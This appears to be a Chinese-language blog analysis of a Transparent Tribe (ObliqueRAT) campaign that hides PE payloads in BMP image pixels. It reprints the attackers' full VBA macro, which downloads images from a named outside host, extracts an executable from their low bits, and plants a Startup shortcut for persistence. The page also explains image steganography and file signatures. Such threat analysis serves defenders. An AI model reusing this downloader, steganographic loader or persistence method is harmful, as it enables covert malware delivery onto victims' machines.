透明部落通过BMP的RGB通道隐藏PE数据

  • 报告和样本
    • [《Transparent Tribe APT expands its Windows malware arsenal》](https://blog.talosintelligence.com/2021/05/transparent-tribe-infra-and-targeting.html)
    • [《ObliqueRAT returns with new campaign using hijacked websites》](https://blog.talosintelligence.com/2021/02/obliquerat-new-campaign.html)
    • [《ObliqueRAT: New RAT hits victims' endpoints via malicious documents》](https://blog.talosintelligence.com/2020/02/obliquerat-hits-victims-via-maldocs.html)
    • 样本
      • theta.bmp
      • camela.bmp
      • merj.bmp
      • 宏代码
  • 知识扩展图片隐写
    • 常见图片文件头与文件尾
    • RGB通道隐写
    • LSB隐写(最低有效位隐写)

报告和样本

《Transparent Tribe APT expands its Windows malware arsenal》

没什么技术分析,主要是描述战术和趋势

《ObliqueRAT returns with new campaign using hijacked websites》

有描述宏代码,以及RAT的更新

《ObliqueRAT: New RAT hits victims’ endpoints via malicious documents》

内容为ObliqueRAT分析,也可以看看

样本

theta.bmp

camela.bmp

merj.bmp

宏代码

DownloadBackground:下载图片
BackgroundStretch:读取BMP图片保存为xls
BackgroundSize:将字符串Letter(ASC)转为OrderByte(Byte)

'下载图片
Sub DownloadBackground(url As String, filePath As String)Dim WinHttpReq As Object, attempts As Integerattempts = 4On Error GoTo TryAgainTryAgain:attempts = attempts - 1Err.ClearIf attempts > 0 ThenSet WinHttpReq = CreateObject(\"Microsoft.XMLHTTP\")WinHttpReq.Open \"GET\", url, FalseWinHttpReq.sendIf WinHttpReq.Status = 200 ThenSet Themeream = CreateObject(\"ADODB.Stream\")Themeream.OpenThemeream.Type = 1Themeream.Write WinHttpReq.responseBodyThemeream.SaveToFile filePath, 1Themeream.CloseEnd IfEnd If
End Sub'PE文件大小
Private Function BackgroundSize(ByVal ProtectString As String) As Byte()Dim Nibbles() As ByteDim ProtectPos As LongDim ProtectDigit As LongDim CursorLen As LongDim Numeris As LongReDim Nibbles(Len(ProtectString) \\ 2)For ProtectPos = 1 To Len(ProtectString)ProtectDigit = InStr(\"0123456789ABCDEF\", _UCase$(Mid$(ProtectString, ProtectPos, 1))) - 1If ProtectDigit >= 0 ThenIf CursorLen > UBound(Nibbles) ThenReDim Preserve Nibbles(UBound(Nibbles) + 4)End IfNibbles(CursorLen) = Nibbles(CursorLen) * &H10 + ProtectDigitNumeris = Numeris + 1End IfIf Numeris = 2 Or ProtectDigit < 0 ThenIf Numeris > 0 Then CursorLen = CursorLen + 1Numeris = 0End IfNextIf Numeris = 0 Then CursorLen = CursorLen - 1If CursorLen < 0 ThenNibbles = \"\"ElseReDim Preserve Nibbles(CursorLen)End IfBackgroundSize = Nibbles
End Function'从BMP文件中提取出数据(PE文件)
Sub BackgroundStretch(pth As String, ByVal drpexP As String)
On Error Resume Next
Dim byteArray() As Byte
Dim memoryAddress As Long
Dim zL As Long
zL = 0
Dim rL As Long
Dim arrayofWordsConst ForReading = 1, ForWriting = 2, ForAppending = 8Dim antiTermite, antiantiTermite, oFS, BreathTake, Letter, i, ch, WayPaveWayPave = pthSet oFS = CreateObject(\"Scripting.FileSystemObject\")Set antiTermite = oFS.OpenTextFile(WayPave, ForReading, True)i = 0ch = 0Letter = \"\"antiTermite.Read (10)BreathTake = Asc(antiTermite.Read(1))BreathTake = BreathTake + Asc(antiTermite.Read(1)) * 256BreathTake = BreathTake + Asc(antiTermite.Read(1)) * 65536BreathTake = BreathTake + Asc(antiTermite.Read(1)) * 16777216antiTermite.Read (BreathTake - 14)Do Until antiTermite.AtEndOfStreami = i + 1ch = ch Or ((Asc(antiTermite.Read(1)) And 1) * (2 ^ (8 - i)))If i = 8 ThenLetter = Letter & Chr(ch)If ch = 0 ThenExit DoElsech = 0i = 0End IfEnd IfLoopantiTermite.CloseSet antiTermite = NothingSet oFS = Nothing'获取提取数据的文件大小
Dim OrderByte() As Byte
OrderByte = BackgroundSize(Letter)Const adSaveCreateNotExist = 1
Const adTypeBinary = 1
Const adTypeText = 2
Dim objStreamUTF8: Set objStreamUTF8 = CreateObject(\"ADODB.Stream\")
Dim objStreamUTF8NoBOM: Set objStreamUTF8NoBOM = CreateObject(\"ADODB.Stream\")
With objStreamUTF8.Charset = \"UTF-16\".Open.WriteText OrderByte.Position = 0.Type = adTypeText.Position = 2
End WithWith objStreamUTF8NoBOM.Type = adTypeBinary.OpenobjStreamUTF8.CopyTo objStreamUTF8NoBOM.SaveToFile drpexP, 2
End WithobjStreamUTF8.Close
objStreamUTF8NoBOM.Close
End SubSub BackgroundManager()
On Error Resume NextDim tmpBmpP As StringDim tmpBmpP2 As StringDim tmpBmpP3 As String'下载“http://iiaonline.in/DefenceLogo/theta.bmp”到“C:\\ProgramData\\SashaGreyHD.bmp”'ED9DCC4393AF121FD177CC4669383BFDtmpBmpP = \"C:\\ProgramData\\SashaGreyHD.bmp\"DownloadBackground \"http://iiaonline.in/DefenceLogo/theta.bmp\", tmpBmpPDim fie, fie2, flh, flh2, enPd, Science As StringDim iotaD  As VariantDim bcfe() As ByteDim lnct As DoubleenPd = \"C:\\Users\\Public\\\"iotaD = enPd & \"555\\\"fie = \"chmodes\"flh = iotaD & fie & \".xlsx\"flh2 = iotaD & fie & \".pif\"Science = Environ$(\"userprofile\") & \"\\AppData\\Roaming\\Microsoft\\Word\\..\\Windows\\Start Menu\\Programs\\Junk\\..\\Startup\\looper.jpeg\"'确保路径“C:\\Users\\Public\\555”存在If Dir(iotaD, vbDirectory) = \"\" ThenMkDir (iotaD)End Iflnct = 0'将“C:\\ProgramData\\SashaGreyHD.bmp”保存为“C:\\Users\\Public\\555\\chmodes.xlsx”BackgroundStretch tmpBmpP, flh'将“chmodes.xlsx”转码并重命名为“chmodes.pif”Name flh As flh2'下载“http://iiaonline.in/sasha.jpg”到“C:\\ProgramData\\SashaGreyHQ.jpg”tmpBmpP2 = \"C:\\ProgramData\\SashaGreyHQ.jpg\"DownloadBackground \"http://iiaonline.in/sasha.jpg\", tmpBmpP2tmpBmpP3 = \"C:\\ProgramData\\SashaGreyHQ2.jpg\"'将“SashaGreyHQ.jpg”重命名为“SashaGreyHQ2.jpg”Name tmpBmpP2 As tmpBmpP3Dim oVaccine As ObjectDim Theme As ObjectSet oVaccine = CreateObject(\"WScript.Shell\")'创建快捷方式“%userprofile%\\AppData\\Roaming\\Microsoft\\Word\\..\\Windows\\Start Menu\\Programs\\Junk\\..\\Startup\\looper.url\”Set Theme = oVaccine.CreateShortcut(Replace(Science, \"jpeg\", \"url\"))'快捷方式的运行路径为“C:\\Users\\Public\\555\\chmodes.pif”With Theme.TargetPath = flh2.SaveEnd With'下载“http://iiaonline.in/timon.jpeg”到“C:\\ProgramData\\SashaGreyHQ.jpg”DownloadBackground \"http://iiaonline.in/timon.jpeg\", tmpBmpP2
End Sub

知识扩展图片隐写

先了解一下常见图片类型
常用工具
隐写基于图片的无损压缩:
由于LSB隐写是在最低位隐藏数据,也就是在比较无关紧要的地方隐藏,因此只有在无损压缩(png)或无压缩(bmp)图片上实现。
JPG:属于有损压缩格式,数据可能会在压缩的过程中被破坏;
PNG:也有压缩,但却是无损压缩,所以数据不会丢失;
BMP:图片把所有的像素都按原样储存,没有进行压缩,因此一般会特别的大
但是也有可能将BMP文件改为JPG后缀,应该以文件头为判断格式的标准:

常见图片文件头与文件尾

格式 文件头 文件尾
JPEG(jpg) FFD8FF FF D9
PNG(png) 89504E47 AE 42 60 82
GIF(gif) 47494638 00 3B
ZIP Archive 504B0304 50 4B
TIFF(tif) 49492A00 -
RAR Archive 52617221 -

RGB通道隐写

代码
特点有将十六进制色值转换RGB:

对应代码为:

    //通过位与方法获取三色值int R = (colorLong & 0xFF0000) >> 16;int G = (colorLong & 0x00FF00) >> 8;int B = colorLong & 0x0000FF;

对应提取的宏代码为:

    Dim antiTermite, antiantiTermite, oFS, BreathTake, Letter, i, ch, WayPaveWayPave = pthSet oFS = CreateObject(\"Scripting.FileSystemObject\")Set antiTermite = oFS.OpenTextFile(WayPave, ForReading, True)i = 0ch = 0Letter = \"\"antiTermite.Read (10)BreathTake = Asc(antiTermite.Read(1))BreathTake = BreathTake + Asc(antiTermite.Read(1)) * 256BreathTake = BreathTake + Asc(antiTermite.Read(1)) * 65536BreathTake = BreathTake + Asc(antiTermite.Read(1)) * 16777216antiTermite.Read (BreathTake - 14)

LSB隐写(最低有效位隐写)

图片隐写术 - 透明部落通过BMP的RGB通道隐藏PE数据相关推荐

  1. javascript图片隐写术,感觉可以用它来干点有想法的事情

    1.什么是图片隐写术? 权威的wiki说法是"隐写术是一门关于信息隐藏的技巧与科学,所谓信息隐藏指的是不让除预期的接收者之外的任何人知晓信息的传递事件或者信息的内容.",图片隐写术 ...

  2. RGB图片隐写术免杀

    微信公众号:乌鸦安全 扫取二维码获取更多信息! 1. 前言 目前杀软比较厉害,如果直接运行exe的话,相对来说免杀难度大一点(但也不绝对),尤其是某些厂商,针对一些打包exe的工具进行无脑杀,所以这里 ...

  3. 杂项题的基本解题思路——2、图片隐写术

    图片隐写术 图片隐写的常见隐写方法 ①firework工具 使用winhex打开文件时会看到头部中包含fireworks的标识 ,通过firework可以找到隐藏图片 使用场景:查看隐写的图片文件 ② ...

  4. 各种图片编码格式详解(bmp,jpg,png)

    图像基本数据结构 要讲图片格式还先得从图像的基本数据结构说起.在计算机中, 图像是由一个个像素点组成,像素点就是颜色点,而颜色最简单的方式就是用RGB或RGBA表示, 如图所示 (图1) (图2) 如 ...

  5. [原]BMP位图 转换 透明 TGA图像 - 增加 alpha通道 -TGA文件格式初解

    最近做一个将文字转换为图片做视频叠加字幕的软件,大家都知道VB的图像控件Picture Box只能输出BMP格式位图,自然我的软件是用Picture Box做图像输出的也不例外,但是客户要求要输出带a ...

  6. python开发图片_python实现简单的图片隐写术

    本文转载自Python3图片隐写术 载体文件相对隐秘文件的大小越大,隐藏后者就越加容易.因为这个原因,数字图像在因特网和其他传媒上被广泛用于隐藏消息.例如一个24位的位图中的每个像素的三个颜色分量(红 ...

  7. 图片没有透明效果html,为什么png不是透明底

    为什么把图片保存成PNG格式 背景依旧不能透明? 我把图片部分透明化之后存图,在PS中能够清楚地看到透明区域,但一保存为P你不管它在电脑里怎么样 在电脑里是看不出来透明的 要上传到网上才有效果 存为p ...

  8. 1.CDC绘图。包括加载图片,消去图片,设置图片一部分透明,不闪烁方式。

    CDC类简介:(摘抄自鸡啄米博客) CDC类是一个设备上下文类. CDC类提供了用来处理显示器或打印机等设备上下文的成员函数,还有处理与窗口客户区关联的显示上下文的成员函数.使用CDC的成员函数可以进 ...

  9. Zxing系列之设置二维码图片背景透明教程

    继之前的博客:PDF文件添加二维码水印教程.图片添加二维码水印教程之后,对之前的添加二维码水印功能进行完善,之前的程序生成的二维码图片背景不是透明的,所以不是很美观,所以本博客对程序进行完善,对二维码 ...

最新文章

  1. 这是人家大一新生开发的工具!网友:我好菜
  2. 丁晓东_丁晓东|一种光盖过了另一种光NO.984
  3. matlab中 ne k,KFoldCV.m 查找径向基神经网络模型的网络参数的程序MATLAB函数'ne 联合开发网 - pudn.com...
  4. ZYAR20A 亚克力2驱 蓝牙 298寻迹避障机器人 —— 程序目录
  5. poj 3417 树形dp+LCA
  6. python3.6入门到高阶(全栈) day015 初识面向对象
  7. Python 中使用 jsonpath
  8. Unity3D下Linux平台播放RTSP或RTMP流
  9. VC学习笔记:简单绘图
  10. Java软件开发流程
  11. simulink仿真之正弦波变方波
  12. 菠萝派php示例,简易菠萝派 - 美食杰 - 美食,菜谱 - 中国最全的家常菜谱美食网...
  13. coffeescript java 执行_新的coffeescript,运行cakefile时产生ENOENT错误
  14. 2019-9-2-win10-uwp-截图-获取屏幕显示界面保存图片
  15. 无线路由频繁掉线9大原因分析
  16. ES6——Symbol属性与for...of循环迭代器
  17. UGUI中实现文字下划线
  18. 关于resharper激活
  19. iPhone14和14pro的区别
  20. 用计算机制作程序框图,如何制作工艺流程图 电脑绘制工艺流程图方法

热门文章

  1. euclidea教程_euclidea全攻略_euclidea几何构建全关卡通关攻略_玩游戏网
  2. 关于TextView的maxLines和ellipsize属性显示不正确情况之一的解决
  3. 网页版在线聊天java Socket实现
  4. 计算机控制点火系统有哪几部分组成,汽车电子控制系统的组成按其构成元件的作用可分哪几个部分...
  5. linux教程(四)— Xshell常用命令
  6. 计算机用户名密码修改 win10,玩转Win10密码基础篇:设置修改系统登录密码
  7. Saber仿真软件no active design解决方法
  8. Druid报错c.a.druid.pool.DruidAbstractDataSource : discard long time none received connection.
  9. 一家国际货运公司的销售过程管理、报价管理
  10. Windows远程桌面突然不能复制粘贴的解决办法